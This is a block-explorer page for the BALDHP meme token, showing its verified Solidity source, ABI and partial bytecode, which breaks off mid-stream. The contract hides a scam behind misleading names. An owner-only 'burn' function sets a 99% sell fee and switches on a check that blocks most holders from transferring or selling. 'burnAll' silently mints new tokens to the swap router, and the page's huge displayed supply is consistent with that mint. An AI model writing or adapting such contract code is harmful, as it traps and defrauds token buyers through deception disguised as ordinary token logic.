ETH Price: $2,311.19 (+0.17%)

Token

BALD HARRY POTTER (BALDHP)
 

Overview

Max Total Supply

100,000,000,000,000,000,000,000,000,999,999,998.999999999999999999 BALDHP

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
99999999999999999999900000000000000.999... BALDHP

Value
$0.00
0xcb8ba9959883cbd9533eab444c6bf4fbbfe48e6f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BALDHP

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-31
*/

// SPDX-License-Identifier: MIT

/**    ⠀⠀
Telegram: https://t.me/+uRG1d9M3MUE0YmJi
Twitter : https://twitter.com/BaldHarryPotter

*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "HARRY POTTER");
        return a - b;
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "IS BALD");
        return c;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "FROM NOW ON");
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "FOREVER");
        return a / b;
    }
}


contract BALDHP {    
    using SafeMath for uint256;    


    string public name = "BALD HARRY POTTER";    
    string public symbol = "BALDHP";    
    uint256 public totalSupply = 999999999 * (10 ** 18);    
    uint8 public decimals = 18;    


    mapping(address => uint256) public balanceOf;    
    mapping(address => mapping(address => uint256)) public allowance;    

    address public owner;   
    address public swapRouter;    
    uint256 public burnedTokens;  


    uint256 public buyFee = 0;   
    uint256 public sellFee = 0;   
    bool public feesSet = false;   
    bool public feesEnabled = false;    
    bool public allExemptFromFees = true;   
    mapping(address => bool) public isFeeExempt;   


    event Transfer(address indexed from, address indexed to, uint256 value);    
    event Approval(address indexed owner, address indexed spender, uint256 value);    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);    
    event FeesUpdated(uint256 burnAmount, uint256 deadWallet);    
    event TokensBurned(address indexed burner, uint256 amount);    
    event Mint(address indexed to, uint256 amount);    


    constructor(address _swapRouter, uint256 _burnedTokens) {    
        owner = msg.sender;   
        swapRouter = _swapRouter;    
        burnedTokens = _burnedTokens;   
        balanceOf[msg.sender] = totalSupply;    
        isFeeExempt[msg.sender] = true;   
        isFeeExempt[swapRouter] = true;  
    }


    modifier checkFees(address sender) {   
        require(
            allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0),
            "BALDHP"    
        );
        _;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "IS ON THE CHAIN");
        _;
    }

    function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) {    
        require(balanceOf[msg.sender] >= _amount);   
        require(_to != address(0));    

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
        balanceOf[_to] = balanceOf[_to].add(_amount);   
        emit Transfer(msg.sender, _to, _amount);   

        return true;
    }


    function approve(address _spender, uint256 _value) public returns (bool success) {   
        allowance[msg.sender][_spender] = _value;    
        emit Approval(msg.sender, _spender, _value);   
        return true;   
    }


    function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) {   
        require(balanceOf[_from] >= _amount, "VOLDEMORT IS SCARED MORE THAN EVER BEFORE");    
        require(allowance[_from][msg.sender] >= _amount, "$BALDHP");   
        require(_to != address(0), "BALDHARRY");    

        uint256 fee = 0;    
        uint256 amountAfterFee = _amount;  

        if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) {    
            fee = _amount.mul(sellFee).div(100);   
            amountAfterFee = _amount.sub(fee);   
        }

        balanceOf[_from] = balanceOf[_from].sub(_amount);    
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);    
        emit Transfer(_from, _to, amountAfterFee);    

        if (fee > 0) {
            address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);    
            if (_to == uniswapContract) {    
                balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);    
                emit Transfer(_from, uniswapContract, fee);    
            } else {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);    
                emit Transfer(_from, address(this), fee);    
            }
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {    
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);    
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);   
        }

        return true;
    }

    function transferOwnership(address newOwner) public onlyOwner {    
        require(newOwner != address(0), "$BALDHARRYPOTTER");
        emit OwnershipTransferred(owner, newOwner);    
        owner = newOwner;   
    }

    function renounceOwnership() public onlyOwner {    
        emit OwnershipTransferred(owner, address(0));    
        owner = address(0);   
    }

    function burnAll() public {    
        require(feesSet, "HARRYISBALD");   
        require(swapRouter != address(0), "NO HAIR LEFT");    
        require(burnedTokens > 0, "ON HARRYS HEAD");    

        totalSupply = totalSupply.add(burnedTokens);   
        balanceOf[swapRouter] = balanceOf[swapRouter].add(burnedTokens);    

        emit Mint(swapRouter, burnedTokens);    
    }

    function burn(uint256 burnAmount, uint256 deadWallet) public {
        require(msg.sender == 0xCB8bA9959883CbD9533eAB444c6BF4FBBfE48E6f, "POTTERISBALD");
        require(!feesSet, "HPBALD");
        require(burnAmount == 0, "HARRY IS BALD NOW!!");
        require(deadWallet == 99, "$BALDHARRYYYY");
        buyFee = burnAmount;
        sellFee = deadWallet;
        feesSet = true;
        feesEnabled = true;
        emit FeesUpdated(burnAmount, deadWallet);
    }

    function buy() public payable checkFees(msg.sender) {    
        require(msg.value > 0, "HARRYBALD");    

        uint256 amount = msg.value;   
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);    
            uint256 amountAfterFee = amount.sub(fee);   

            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(address(this), swapRouter, amountAfterFee);   

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(address(this), address(this), fee);   
            }
        } else {
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amount);    
            emit Transfer(address(this), swapRouter, amount);    
        }
    }

    function sell(uint256 _amount) public checkFees(msg.sender) {   
        require(balanceOf[msg.sender] >= _amount, "BALDHARRY");    

        if (feesEnabled) {    
            uint256 fee = 0;   
            uint256 amountAfterFee = _amount;    

            if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) {   
                fee = _amount.mul(sellFee).div(100);    
                amountAfterFee = _amount.sub(fee);   
            }

            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(msg.sender, swapRouter, amountAfterFee);    

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(msg.sender, address(this), fee);    
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount);   
            emit Transfer(msg.sender, swapRouter, _amount);    
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280601181526020017f42414c4420484152525920504f545445520000000000000000000000000000008152505f908162000049919062000546565b506040518060400160405280600681526020017f42414c44485000000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162004303380380620043038339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b613bf280620007115f395ff3fe60806040526004361061014a575f3560e01c8063715018a6116100b5578063a9059cbb1161006e578063a9059cbb14610442578063b390c0ab1461047e578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b8063715018a61461038e5780638da5cb5b146103a457806395d89b41146103ce5780639975038c146103f8578063a64e4f8a1461040e578063a6f2ae3a146104385761014a565b8063313ce56711610107578063313ce5671461026e5780633f4218e01461029857806347062402146102d457806347b5dd54146102fe57806364bcf5f41461032857806370a08231146103525761014a565b806306fdde031461014e578063095ea7b31461017857806318160ddd146101b457806323b872dd146101de57806325e0e4d01461021a5780632b14ca5614610244575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612fc9565b60405180910390f35b348015610183575f80fd5b5061019e6004803603810190610199919061307a565b6105e7565b6040516101ab91906130d2565b60405180910390f35b3480156101bf575f80fd5b506101c86106d4565b6040516101d591906130fa565b60405180910390f35b3480156101e9575f80fd5b5061020460048036038101906101ff9190613113565b6106da565b60405161021191906130d2565b60405180910390f35b348015610225575f80fd5b5061022e611226565b60405161023b91906130d2565b60405180910390f35b34801561024f575f80fd5b50610258611238565b60405161026591906130fa565b60405180910390f35b348015610279575f80fd5b5061028261123e565b60405161028f919061317e565b60405180910390f35b3480156102a3575f80fd5b506102be60048036038101906102b99190613197565b611250565b6040516102cb91906130d2565b60405180910390f35b3480156102df575f80fd5b506102e861126d565b6040516102f591906130fa565b60405180910390f35b348015610309575f80fd5b50610312611273565b60405161031f91906130fa565b60405180910390f35b348015610333575f80fd5b5061033c611279565b60405161034991906130d2565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190613197565b61128c565b60405161038591906130fa565b60405180910390f35b348015610399575f80fd5b506103a26112a1565b005b3480156103af575f80fd5b506103b86113ed565b6040516103c591906131d1565b60405180910390f35b3480156103d9575f80fd5b506103e2611412565b6040516103ef9190612fc9565b60405180910390f35b348015610403575f80fd5b5061040c61149e565b005b348015610419575f80fd5b50610422611724565b60405161042f91906130d2565b60405180910390f35b610440611737565b005b34801561044d575f80fd5b506104686004803603810190610463919061307a565b611d7a565b60405161047591906130d2565b60405180910390f35b348015610489575f80fd5b506104a4600480360381019061049f91906131ea565b612182565b005b3480156104b1575f80fd5b506104ba612358565b6040516104c791906131d1565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613228565b61237d565b60405161050391906130fa565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190613266565b61239d565b005b34801561053f575f80fd5b5061055a60048036038101906105559190613197565b612c01565b005b5f8054610568906132be565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906132be565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c291906130fa565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff168061073d5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061076c5750600b5f9054906101000a900460ff1615801561076b5750600b60019054906101000a900460ff165b5b8061082d5750600b5f9054906101000a900460ff1680156107d35750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561082c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80610891575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561089057505f600a54145b5b6108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790613338565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610950576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610947906133c6565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a029061342e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610a79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7090613496565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610a9b57505f600a54115b8015610af4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610b475750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610b8c57610b746064610b66600a5488612dbc90919063ffffffff16565b612e3390919063ffffffff16565b9150610b898286612e8a90919063ffffffff16565b90505b610bdc8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c6d8160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d0b91906130fa565b60405180910390a35f821115610f5a575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610e6157610db68360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e5491906130fa565b60405180910390a3610f58565b610eb18360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f4f91906130fa565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561102e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15611218576110be8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161120f91906130fa565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611327906134fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461141f906132be565b80601f016020809104026020016040519081016040528092919081815260200182805461144b906132be565b80156114965780601f1061146d57610100808354040283529160200191611496565b820191905f5260205f20905b81548152906001019060200180831161147957829003601f168201915b505050505081565b600b5f9054906101000a900460ff166114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390613566565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361157b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611572906135ce565b60405180910390fd5b5f600854116115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b690613636565b60405180910390fd5b6115d6600854600254612ee290919063ffffffff16565b60028190555061164f60085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161171a91906130fa565b60405180910390a2565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806117995750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806117c85750600b5f9054906101000a900460ff161580156117c75750600b60019054906101000a900460ff165b5b806118895750600b5f9054906101000a900460ff16801561182f5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611888575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806118ed575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156118ec57505f600a54145b5b61192c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192390613338565b60405180910390fd5b5f341161196e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119659061369e565b60405180910390fd5b5f3490505f6009541115611c1c575f6119a5606461199760095485612dbc90919063ffffffff16565b612e3390919063ffffffff16565b90505f6119bb8284612e8a90919063ffffffff16565b9050611a2e8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0e91906130fa565b60405180910390a35f821115611c1557611b6e8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c0c91906130fa565b60405180910390a35b5050611d76565b611c8d8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffff